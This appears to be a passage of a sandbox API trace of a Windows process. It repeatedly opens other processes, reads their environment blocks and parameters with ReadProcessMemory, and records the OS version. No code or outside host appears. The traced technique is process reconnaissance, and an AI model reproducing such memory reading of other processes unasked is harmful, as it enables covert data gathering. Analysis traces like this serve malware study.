OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x154c) returned 0xa9c [0354.070] GetLastError () returned 0x0 [0354.070] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.070] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.070] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.070] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.070] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.071] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.071] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.071] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x39d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.071] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.071] malloc (_Size=0x76) returned 0xea8920 [0354.071] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6d22c6, lpBuffer=0xea8920, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8920*, lpNumberOfBytesRead=0x0) returned 1 [0354.072] free (_Block=0xea8920) [0354.072] CloseHandle (hObject=0xa9c) returned 1 [0354.072] _ui64tow_s (in: _Value=0x1568, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5480") returned 0x0 [0354.072] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5480") returned 4 [0354.072] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.072] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.073] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1568) returned 0xa9c [0354.073] GetLastError () returned 0x0 [0354.073] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.073] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.074] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.074] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.074] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.074] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.074] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.074] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x35f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.074] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.075] malloc (_Size=0x7a) returned 0xe87af0 [0354.075] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22ca, lpBuffer=0xe87af0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87af0*, lpNumberOfBytesRead=0x0) returned 1 [0354.075] free (_Block=0xe87af0) [0354.076] CloseHandle (hObject=0xa9c) returned 1 [0354.076] _ui64tow_s (in: _Value=0x1574, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5492") returned 0x0 [0354.076] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5492") returned 4 [0354.076] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.076] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.077] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1574) returned 0xa9c [0354.077] GetLastError () returned 0x0 [0354.077] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.077] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.077] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.077] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.077] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.078] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.078] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.078] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.078] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.078] malloc (_Size=0x76) returned 0xea8920 [0354.078] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22c6, lpBuffer=0xea8920, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8920*, lpNumberOfBytesRead=0x0) returned 1 [0354.079] free (_Block=0xea8920) [0354.080] CloseHandle (hObject=0xa9c) returned 1 [0354.080] _ui64tow_s (in: _Value=0x15b0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5552") returned 0x0 [0354.080] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5552") returned 4 [0354.080] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.080] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.081] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15b0) returned 0xa9c [0354.081] GetLastError () returned 0x0 [0354.081] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.081] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.081] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.081] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.081] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.082] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.082] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.082] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.082] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.082] malloc (_Size=0x5e) returned 0xeb6310 [0354.082] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ae, lpBuffer=0xeb6310, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0354.083] free (_Block=0xeb6310) [0354.085] CloseHandle (hObject=0xa9c) returned 1 [0354.085] _ui64tow_s (in: _Value=0x15cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5580") returned 0x0 [0354.085] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5580") returned 4 [0354.086] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.086] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.086] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15cc) returned 0xa9c [0354.086] GetLastError () returned 0x0 [0354.086] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.087] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.087] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.087] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.087] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.087] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.087] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.087] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.088] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.088] malloc (_Size=0x66) returned 0xeb6690 [0354.088] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722b6, lpBuffer=0xeb6690, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6690*, lpNumberOfBytesRead=0x0) returned 1 [0354.089] free (_Block=0xeb6690) [0354.089] CloseHandle (hObject=0xa9c) returned 1 [0354.089] _ui64tow_s (in: _Value=0x15e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5600") returned 0x0 [0354.089] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5600") returned 4 [0354.089] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.089] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.090] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15e0) returned 0xa9c [0354.090] GetLastError () returned 0x0 [0354.090] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.090] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.090] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.091] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.091] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.091] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.091] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.091] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.091] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.092] malloc (_Size=0x6c) returned 0xea9620 [0354.092] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922bc, lpBuffer=0xea9620, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0354.093] free (_Block=0xea9620) [0354.093] CloseHandle (hObject=0xa9c) returned 1 [0354.093] _ui64tow_s (in: _Value=0x1614, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5652") returned 0x0 [0354.093] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5652") returned 4 [0354.093] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.093] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.094] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1614) returned 0xa9c [0354.094] GetLastError () returned 0x0 [0354.094] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.094] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.094] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.094] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.095] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.095] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.095] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.095] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.095] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.095] malloc (_Size=0x54) returned 0xeaa2f0 [0354.095] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22a4, lpBuffer=0xeaa2f0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa2f0*, lpNumberOfBytesRead=0x0) returned 1 [0354.096] free (_Block=0xeaa2f0) [0354.096] CloseHandle (hObject=0xa9c) returned 1 [0354.096] _ui64tow_s (in: _Value=0x161c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5660") returned 0x0 [0354.097] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5660") returned 4 [0354.097] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.097] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.097] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x161c) returned 0xa9c [0354.098] GetLastError () returned 0x0 [0354.098] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.098] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.098] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.098] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.098] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.098] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.098] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.099] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.099] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.099] malloc (_Size=0x6c) returned 0xea9720 [0354.099] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a22bc, lpBuffer=0xea9720, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9720*, lpNumberOfBytesRead=0x0) returned 1 [0354.100] free (_Block=0xea9720) [0354.100] CloseHandle (hObject=0xa9c) returned 1 [0354.100] _ui64tow_s (in: _Value=0x1638, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5688") returned 0x0 [0354.100] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5688") returned 4 [0354.101] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.101] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.101] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, 